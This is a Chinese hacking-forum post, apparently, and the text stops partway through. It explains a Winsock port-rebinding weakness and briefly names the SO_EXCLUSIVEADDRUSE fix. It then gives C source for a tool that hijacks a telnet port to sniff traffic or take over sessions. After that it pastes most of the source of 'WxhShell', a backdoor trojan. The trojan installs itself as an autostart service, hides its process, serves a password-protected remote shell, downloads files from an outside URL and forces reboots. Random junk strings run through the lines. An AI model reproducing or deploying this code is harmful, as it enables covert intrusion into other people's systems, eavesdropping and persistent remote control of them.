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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gE2(E0H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XMI*obS'z  
V@`b7GM  
  saddr.sin_family = AF_INET; 7 <^+)DsS?  
>6 o <Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5eori8gr7  
ISpV={$Zd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :.*Q@X}-I  
 pRobx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7@;*e=v  
IEy$2f>Ns  
  这意味着什么?意味着可以进行如下的攻击: dP8qP_77A~  
OCx'cSs-=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {:gx*4}q8  
, lR(5ZI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VxN#\D i&  
@n)? =[p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~DK.Y   
f 3H uT=n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,H7_eVLWR  
l7VO8p]y[R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #EzhtuHxn  
yQrgOdo,w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M +OVqTsFU  
?C2(q6X+s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]eGa_Ld  
(10t,n$  
  #include \XB,)XDB  
  #include *1dZs~_  
  #include @o0HDS  
  #include    \7LL neq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ompr})c  
  int main() |-=-/u1  
  { IE\RP!  
  WORD wVersionRequested; h~#F2#.  
  DWORD ret; ,5c7jZ5H  
  WSADATA wsaData; E^rBs2;9  
  BOOL val; W@AHE?s6g  
  SOCKADDR_IN saddr; En&7e  
  SOCKADDR_IN scaddr; _K#7#qp2  
  int err; IMD^(k 2  
  SOCKET s; lD$s, hp  
  SOCKET sc; L8D=F7  
  int caddsize; js"Yh  
  HANDLE mt; OG<*&V  
  DWORD tid;   [ 6VM4l"  
  wVersionRequested = MAKEWORD( 2, 2 ); I '0[  
  err = WSAStartup( wVersionRequested, &wsaData ); TYuP EVEXZ  
  if ( err != 0 ) { LBG`DYR@  
  printf("error!WSAStartup failed!\n"); $CB&>?~  
  return -1; 4}N+o+  
  } YTTy6*\,_  
  saddr.sin_family = AF_INET; v>K|hH  
   qE2<vjRg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RbUir185Y  
DH\Ox>b=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \Nik`v*Pd  
  saddr.sin_port = htons(23); `P\H{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D?E VzG  
  { ,'c%S|]U7  
  printf("error!socket failed!\n"); ;VCV%=W<  
  return -1; 6 T4"m  
  } 53uptQ{   
  val = TRUE; XzV>q~I3|E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [uqr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u*l>)_HD  
  { ,eebO~7vB  
  printf("error!setsockopt failed!\n"); 0D4 4  
  return -1; # d"M(nt  
  } ; t7F%cDA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {C`M<2W]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a.u{b&+9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3 a(SmM:  
%zc.b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (Ajhf}zJ  
  { 7]u_  
  ret=GetLastError(); 2FL_!;p;2E  
  printf("error!bind failed!\n"); b^[>\s'  
  return -1; xz@*V>QT  
  } fC^d@4ha  
  listen(s,2); zhE4:g9v  
  while(1) LkeYzQH/l  
  { 7g8\q@',  
  caddsize = sizeof(scaddr); vIi&D;  
  //接受连接请求 X%!?\3S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !K_<7iExI\  
  if(sc!=INVALID_SOCKET) S%]4['Y  
  { r_ 9"^Er  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =S^vIo)  
  if(mt==NULL) .h w(;  
  { WZA1nzRc  
  printf("Thread Creat Failed!\n"); vRmzjd~  
  break; =*4^Dtp  
  } %D7^.  
  } HE4S%#bH>  
  CloseHandle(mt); 2DZ&g\|  
  } Q\~#cLJ/  
  closesocket(s); UT_t]m  
  WSACleanup(); w0>5#j q#r  
  return 0; R$/q=*k  
  }   ;rh =63g  
  DWORD WINAPI ClientThread(LPVOID lpParam) cw BiT  
  { /KiaLS  
  SOCKET ss = (SOCKET)lpParam; ojWf]$^y}  
  SOCKET sc; bnp:J|(ld  
  unsigned char buf[4096]; W70BRXe04D  
  SOCKADDR_IN saddr; h 1j1PRE  
  long num; @$ )C pg  
  DWORD val; huin?,eGz  
  DWORD ret; sGMnm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 78mJ3/?rC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )]}68}9  
  saddr.sin_family = AF_INET; Q!fk|D+j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wzI*QXV2s  
  saddr.sin_port = htons(23); %eu_Pr6X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d/?0xLW  
  { '(:R-u!pp  
  printf("error!socket failed!\n"); j]9,yi  
  return -1; 6`'KM/   
  } 1rmN)  
  val = 100; JZNvuPD   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~;uW) [  
  { oA ]F`N=  
  ret = GetLastError(); 41XXL$  
  return -1; x A ZRl  
  } |SsmVW$B|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +m6acu)N.  
  { @v\jL+B+m  
  ret = GetLastError(); A%#."2vq~  
  return -1; Fo| rRI2  
  } 3D rW[\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8x6{[Tx   
  { NEMC  
  printf("error!socket connect failed!\n"); rOq>jvy  
  closesocket(sc); EG!):P  
  closesocket(ss); Il s^t  
  return -1; {B\lk:"X  
  } yi1V\8DC  
  while(1) oO,"B8a  
  { af2yng  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v%2Jm!i+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }2_ i<4,L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fm.IRu<\`  
  num = recv(ss,buf,4096,0); +QFY. >KH  
  if(num>0) <3aW3i/jTc  
  send(sc,buf,num,0); V_7QWIdiy>  
  else if(num==0) p[gq^5WuC  
  break; 0f|nI8,z  
  num = recv(sc,buf,4096,0); |-k~Fa  
  if(num>0) SSI('6Z/  
  send(ss,buf,num,0); J"RmV@|  
  else if(num==0) E?P:!V=_  
  break; ?f[U8S}  
  } f<~S0[H  
  closesocket(ss); HvVS<Ke  
  closesocket(sc); lvZ:Aw r  
  return 0 ; o.H(&ex|  
  } Lv?e[GA  
rY&Y58./  
e!~x-P5M`  
========================================================== ? v2JuhRe  
HGRH9W  
下边附上一个代码,,WXhSHELL VjVL/SO/  
' fm}&0  
========================================================== DN;An0 {MK  
|CFTOe\ q  
#include "stdafx.h" {n>W8sN<  
${%*O}$  
#include <stdio.h> ,d34v*U  
#include <string.h> l6EDl0~r  
#include <windows.h> v(tr:[V  
#include <winsock2.h> 0Bpix|mq  
#include <winsvc.h> _n+./ B  
#include <urlmon.h> C7[CfcPA  
5#U*vGVT  
#pragma comment (lib, "Ws2_32.lib") c}>p"  
#pragma comment (lib, "urlmon.lib") lx&ME#~  
( nH3  
#define MAX_USER   100 // 最大客户端连接数 -Fj:^q:@u  
#define BUF_SOCK   200 // sock buffer ` cgS yRD]  
#define KEY_BUFF   255 // 输入 buffer IuQY~!  
Vi~F Q  
#define REBOOT     0   // 重启 'j+J?Y^  
#define SHUTDOWN   1   // 关机 `n!<h,S'2  
jci'q=Vpu  
#define DEF_PORT   5000 // 监听端口 A,T3%TE  
-l!;PV S|  
#define REG_LEN     16   // 注册表键长度 v&EHp{8Qd  
#define SVC_LEN     80   // NT服务名长度 kOGpe'bV  
7QlA/iKqK  
// 从dll定义API 3'WS6B+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q)uq?sZe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {]}}rx'|P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Js'(tBhiU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P2`!)teN  
*zy0,{bl  
// wxhshell配置信息 9* %Uoy:  
struct WSCFG { 2EOt.4cP  
  int ws_port;         // 监听端口 Z;_WU  
  char ws_passstr[REG_LEN]; // 口令 @Kd lX>i  
  int ws_autoins;       // 安装标记, 1=yes 0=no k.DDfuKN  
  char ws_regname[REG_LEN]; // 注册表键名 shlL(&Py  
  char ws_svcname[REG_LEN]; // 服务名 10JxfDceD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H! ZPP8]j>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sY t8NsQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o(. PxcD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (s,*soAN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] y, 6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D'>yu"  
|/g\N, ]  
}; hIw<gb4J%  
%cD7}o:u  
// default Wxhshell configuration {O6f1LuH  
struct WSCFG wscfg={DEF_PORT, ~PUz/^^ s  
    "xuhuanlingzhe", Frt_X%  
    1, h]<Ld9  
    "Wxhshell", f4zd(J  
    "Wxhshell", laqW {sX^5  
            "WxhShell Service", -\j}le6;c  
    "Wrsky Windows CmdShell Service", ] w FFGy  
    "Please Input Your Password: ", 5isejR{r  
  1, 4ow)vS(  
  "http://www.wrsky.com/wxhshell.exe", aU2O5z&  
  "Wxhshell.exe" DL2gui3  
    }; P}H7WH  
" 7RQrz  
// 消息定义模块 Fk>/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rZZueYuXO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jGEUl=W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LI?rz<H!D  
char *msg_ws_ext="\n\rExit."; 0?ZJJdI3  
char *msg_ws_end="\n\rQuit."; <?,o {  
char *msg_ws_boot="\n\rReboot..."; ekfD+X  
char *msg_ws_poff="\n\rShutdown..."; RNiZ2:  
char *msg_ws_down="\n\rSave to "; K%>uSS?  
ZYrXav<  
char *msg_ws_err="\n\rErr!"; &&|*GAjJ  
char *msg_ws_ok="\n\rOK!"; L!DP*XDp  
uU6+cDp  
char ExeFile[MAX_PATH]; R1X9  
int nUser = 0; M=e]v9  
HANDLE handles[MAX_USER]; b3x!tuQn  
int OsIsNt; N>7INK  
./)A6O*#  
SERVICE_STATUS       serviceStatus;  OR4!73[I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /_?Ly$>'  
xe|o( !(  
// 函数声明 JMpjiB,A}  
int Install(void); ;58l_ue  
int Uninstall(void); z![RC59 S  
int DownloadFile(char *sURL, SOCKET wsh); 2Q)"~3  
int Boot(int flag); qp^O\>c  
void HideProc(void); Tv3Bej  
int GetOsVer(void); <Jo_f&&{  
int Wxhshell(SOCKET wsl); ' V;cA$ $  
void TalkWithClient(void *cs); \Zqgr/.w/  
int CmdShell(SOCKET sock); =g2; sM/  
int StartFromService(void); SPe Se/  
int StartWxhshell(LPSTR lpCmdLine); D(s[=$zua  
&n6mXFF#>P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X26gl 'U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EMmNlj6  
P(d4~hS  
// 数据结构和表定义 $&='&q  
SERVICE_TABLE_ENTRY DispatchTable[] = ;-lk#D?n9  
{ ^LE`Y>&m  
{wscfg.ws_svcname, NTServiceMain}, qXkc~{W_  
{NULL, NULL} /fWVgyW> 6  
}; #q%xJ[  
vdYd~>w  
// 自我安装 f:GZb?Wyd  
int Install(void) A jr]&H4  
{ MZB0vdx  
  char svExeFile[MAX_PATH]; H ZIJKk(  
  HKEY key; SgHLs  
  strcpy(svExeFile,ExeFile); [7ZFxr\:!  
bg*4Z?[dd  
// 如果是win9x系统,修改注册表设为自启动 d Ayof=  
if(!OsIsNt) { =4"D8 UaHr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >lU[ lf+/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ><viJ$i  
  RegCloseKey(key);  Y5 $5qQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7@$Hua,GY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z[B*sbS  
  RegCloseKey(key); {v}f/ cu  
  return 0; O7I:Y85i#O  
    } d,CtlWp  
  } Vz!W(+  
}  H`G[QC  
else { fmXA;^%  
XL>c TM  
// 如果是NT以上系统,安装为系统服务 wbshKkUh_*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \]e"#"v}}_  
if (schSCManager!=0) -tAdA2?G  
{ 8C#R  
  SC_HANDLE schService = CreateService rP>iPDf  
  ( ` /#f8R1g  
  schSCManager, QM=M<~<Voh  
  wscfg.ws_svcname, 2--"@@  
  wscfg.ws_svcdisp, N W :_)1  
  SERVICE_ALL_ACCESS, )Ge.1B$8h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0'wB':v  
  SERVICE_AUTO_START, cu5Yvp  
  SERVICE_ERROR_NORMAL, s9>f5u?dK  
  svExeFile, abh='5H|^|  
  NULL, s]Nh9h  
  NULL, x+x 6F  
  NULL, 5:6as^i:b  
  NULL, ` =g9Rg/<  
  NULL 3`S|I_$(T"  
  ); "5"6mw?  
  if (schService!=0) \ce (/I   
  { ZdJwy%  
  CloseServiceHandle(schService); aN?{MA\  
  CloseServiceHandle(schSCManager); /L\ ]t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s!esk%h{K  
  strcat(svExeFile,wscfg.ws_svcname); Gx ci  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DvCs 5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D7H,49#1Q  
  RegCloseKey(key); ^m.QW*  
  return 0; $_CE!_G&)  
    } =p,+a/*  
  } W L$nchS9  
  CloseServiceHandle(schSCManager); v!n\A}^:  
} d0$dQg  
} 23 j{bK  
SQhk)S  
return 1; w DswK "T  
} T+ey>[  
,ef"S r  
// 自我卸载 2?9 FFlX  
int Uninstall(void) 47>IT  
{ 64;F g/t  
  HKEY key; L1A0->t  
?muI8b  
if(!OsIsNt) { MG)wVS<d_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M>W-lp^3  
  RegDeleteValue(key,wscfg.ws_regname); ,3l=44*  
  RegCloseKey(key); Kk#g(YgNz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pw i6Ly`  
  RegDeleteValue(key,wscfg.ws_regname); q"xIW0Pc  
  RegCloseKey(key); ngJi;9X8*t  
  return 0; T\ZWKx*#  
  } D%GB2-j R  
} 3mKmd iD  
} qD=o;:~Km  
else { mL/]an@Y  
g"vg {Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )';Rb$<Qn  
if (schSCManager!=0) 5$Lo]H*  
{ M\O6~UFq!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -6a4H?L  
  if (schService!=0) Q;{[U!\:  
  { gZ%wm Y  
  if(DeleteService(schService)!=0) { GWo^hIfJ  
  CloseServiceHandle(schService); iJ.P&T9  
  CloseServiceHandle(schSCManager); `X[L62D  
  return 0; m8'B7|s  
  } :U)>um34e  
  CloseServiceHandle(schService); EN6a? }5  
  } np3$bqm  
  CloseServiceHandle(schSCManager); g&9E>wT  
} ;/+VHZP;  
}  +]Ca_`  
Y2709LWmP  
return 1; i bA Z*I  
} Ncr38~;w  
^% y<7>%  
// 从指定url下载文件 #eSVFD5ZU  
int DownloadFile(char *sURL, SOCKET wsh) q>:>f+4  
{ 7 j$ |fS  
  HRESULT hr; E +\?|q !T  
char seps[]= "/"; ?w'a^+H  
char *token; Lt ; !q b.  
char *file; c4QegN  
char myURL[MAX_PATH]; d~+8ui{-U  
char myFILE[MAX_PATH]; 8m,PsUp7  
qjcy{@ j  
strcpy(myURL,sURL); 2,,zN-9mt  
  token=strtok(myURL,seps); 9Fb|B  
  while(token!=NULL) YI05?J}  
  { ~Wy&xs ZH  
    file=token; ngF5ywIG  
  token=strtok(NULL,seps); hz#S b~g  
  } lU]/nKyd  
+E8 \g  
GetCurrentDirectory(MAX_PATH,myFILE); l%"[857  
strcat(myFILE, "\\"); '5xf?0@s.  
strcat(myFILE, file); ;%"YA  
  send(wsh,myFILE,strlen(myFILE),0); c@u)m}V  
send(wsh,"...",3,0); `H+~LVH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _22;hnG<iy  
  if(hr==S_OK) me]O  
return 0; Z-(#}(HD  
else B.wihJVDg  
return 1; V_Z~$  
MgJiJ0y  
} Mda~@)7$  
MQ;c'?!5[!  
// 系统电源模块  +C3IP  
int Boot(int flag) VB6EM|bphl  
{ 1Xy{&Ut\  
  HANDLE hToken; n{vp&  
  TOKEN_PRIVILEGES tkp; xb#M{EE-.  
48X;'b,h  
  if(OsIsNt) { q~*3Bk~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mf0!-bu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |rJ1/T.9  
    tkp.PrivilegeCount = 1; TAz #e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d>"t* >i]>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z9-HQ5>  
if(flag==REBOOT) { mq~rD)T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6GVj13Nr  
  return 0; Gy{C*m7Q  
} }'HJVB_  
else { >XzCHtEP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Yz &aH  
  return 0; LL,&!KW[S  
} s8w7/*<d  
  } -:9E+b  
  else { @ yJ/!9?^  
if(flag==REBOOT) { fdr.'aMf%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #PYTFB%  
  return 0; I"awvUP]a[  
} (WT0 j  
else { ^bpxhf x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ', -4o-  
  return 0; fuJ6 fmT  
} p)}iUU2N  
} `q Sfo`  
}\5^$[p  
return 1; vn;_|NeSf  
} [ bv>(a_,  
oQJK}9QR  
// win9x进程隐藏模块 9vc3&r  
void HideProc(void) arf`%9M  
{ {E!"^^0`  
1M&n=s _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 12)~PIaF  
  if ( hKernel != NULL ) ju8mO&  
  { =x "N0p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2!QS&i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?_9cFo59:  
    FreeLibrary(hKernel); | >xUgpQi  
  } 3\eb:-B:@  
iN%\wkx*N  
return; x#yL&+'?Mj  
} ]9z{ 95  
;c73:'e  
// 获取操作系统版本 f:L%th  
int GetOsVer(void) uiq)?XUKv  
{ i|u3Qt5  
  OSVERSIONINFO winfo; 2%g)0[1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }vBk ,ED  
  GetVersionEx(&winfo); .Ajs0 T2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^T\JFzV  
  return 1; Ikiv+Fq(  
  else k>#,1GbNZy  
  return 0; ,lm.~%}P*  
} e#`wshtN:  
T 1m097  
// 客户端句柄模块 !Dp4uE:Pq  
int Wxhshell(SOCKET wsl) YIs(Q  
{ Qg  
  SOCKET wsh; btb-MSkO  
  struct sockaddr_in client; V.J[Uwf  
  DWORD myID; SPA_a\6_  
+s&+G![  
  while(nUser<MAX_USER) %)_R>.>  
{ kK!An!9C  
  int nSize=sizeof(client); u>: sXm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #tG/{R  
  if(wsh==INVALID_SOCKET) return 1; X~abn7_  
*%5#\ I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vf6lu)Z c1  
if(handles[nUser]==0) mJb>)bO l  
  closesocket(wsh); Er} xB~<t  
else '3=[xVnv  
  nUser++; NwM=  
  } -WP_0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UMUr"-l =  
* EOIgQp  
  return 0; h &9Ld:p  
} B]]_rl,  
0+IJ, ;Wx  
// 关闭 socket 1vQf=t %lw  
void CloseIt(SOCKET wsh) Mvoi   
{ sAS\-c'6  
closesocket(wsh); \>nPg5OT  
nUser--; l<)(iU  
ExitThread(0); ]od]S 8$5  
} g':mM*j&  
P7d" E  
// 客户端请求句柄 4lC:svF  
void TalkWithClient(void *cs) Q/4g)(~J  
{ q.i@Lvu#  
Q)yhpwrX  
  SOCKET wsh=(SOCKET)cs; mJ0nyjX^  
  char pwd[SVC_LEN]; ?1}1uJMj-  
  char cmd[KEY_BUFF]; uy{mSx?td  
char chr[1]; +#O?a`f  
int i,j; 69(z[opW  
fKIwdk%!-  
  while (nUser < MAX_USER) { x:=Kr@VP  
csT_!sI I  
if(wscfg.ws_passstr) { u$x H iD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P:t|'t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ ={*<E  
  //ZeroMemory(pwd,KEY_BUFF); ^dH#n~Wx0  
      i=0; a_'W1ek-@  
  while(i<SVC_LEN) { \^SL Zhe  
a^i`DrX  
  // 设置超时 yyxGVfr  
  fd_set FdRead; -wlob`3  
  struct timeval TimeOut; =UA-&x@  
  FD_ZERO(&FdRead); \tLJ( <8  
  FD_SET(wsh,&FdRead); /ow/)\/}  
  TimeOut.tv_sec=8; iyrUY  
  TimeOut.tv_usec=0; K) $.0S9d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `ysPEwA|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YnuC<y &p  
Q?n} ~(% &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -cNh5~p=  
  pwd=chr[0]; IJO`"da  
  if(chr[0]==0xd || chr[0]==0xa) { "QACQ-  
  pwd=0; Fgxh?Wd9  
  break; h J#U;GL  
  } ~\DC )  
  i++; ~}w(YQy=y  
    } &$jg *Kr  
hf0G-r_ow  
  // 如果是非法用户,关闭 socket qO[6?q=c:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Y[Z`w  
} '(Uyju=  
c`mJrS:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b_cnVlN[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B`<(qPD  
-\\}K\*MJ  
while(1) { 7J./SBhB  
|f'U_nE#R/  
  ZeroMemory(cmd,KEY_BUFF); enlk)_btp  
d /&aC#'B  
      // 自动支持客户端 telnet标准   u-Ct-0  
  j=0; vlIet$ k  
  while(j<KEY_BUFF) { A,e/y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8qp!S1Qnv  
  cmd[j]=chr[0]; kmNY ;b6Y$  
  if(chr[0]==0xa || chr[0]==0xd) { 3lhXD_Y  
  cmd[j]=0; xeo;4c#S5  
  break; A2 qus$  
  } 8,=Ti7_  
  j++; 4z Af|Je  
    } EonZvT-D=  
k!t5>kPSQ  
  // 下载文件 `da6}Vqj:  
  if(strstr(cmd,"http://")) { &1893#V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <|k!wfHL  
  if(DownloadFile(cmd,wsh)) D}vgXzD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Z ~>d;&9  
  else COc1np  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W!.UMmw`  
  } Wt()DG|[  
  else { ,W5pe#n  
G{}E~jDi?  
    switch(cmd[0]) { l!Z>QE`.S  
  4O9HoX#-?  
  // 帮助 7xB#)o53  
  case '?': { QE)I7(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~YO')  
    break; "v/^nH  
  } )FT~gl%  
  // 安装 5H:NY|  
  case 'i': { -]~U_J]  
    if(Install()) >pO[ S[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\q1b:pE  
    else ?*K;+@EH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f'\I52;FB  
    break; {}N*e"<O  
    } wJ1qJ!s@  
  // 卸载 lg&"=VXx51  
  case 'r': { %;^[WT`,  
    if(Uninstall()) g$ZgR)q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V%dMaX>^i  
    else LPb43  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FT/H~|Z>  
    break; Dd<gYPC  
    } idvEE6I@  
  // 显示 wxhshell 所在路径  UB&ofO  
  case 'p': { b.47KJzt  
    char svExeFile[MAX_PATH]; y&t&'l/m  
    strcpy(svExeFile,"\n\r"); f,d @*E  
      strcat(svExeFile,ExeFile);  S&]+r<  
        send(wsh,svExeFile,strlen(svExeFile),0); 4?><x[l2{  
    break; &qz&@!`  
    } ?{\8!_Gvsl  
  // 重启 u3Z*hs)Z%  
  case 'b': { 6vro:`R ?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ruS/Yh  
    if(Boot(REBOOT)) :RzcK>Gub=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ap}(bO  
    else { Y~dRvt0_w  
    closesocket(wsh); )M#~/~^f+  
    ExitThread(0); <d# 9d.<  
    } (3 8.s:-  
    break; ETV|;>v  
    } )K -@{v^|  
  // 关机 /XEcA 5C<  
  case 'd': { eg~$WB;1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vlw2dY@^  
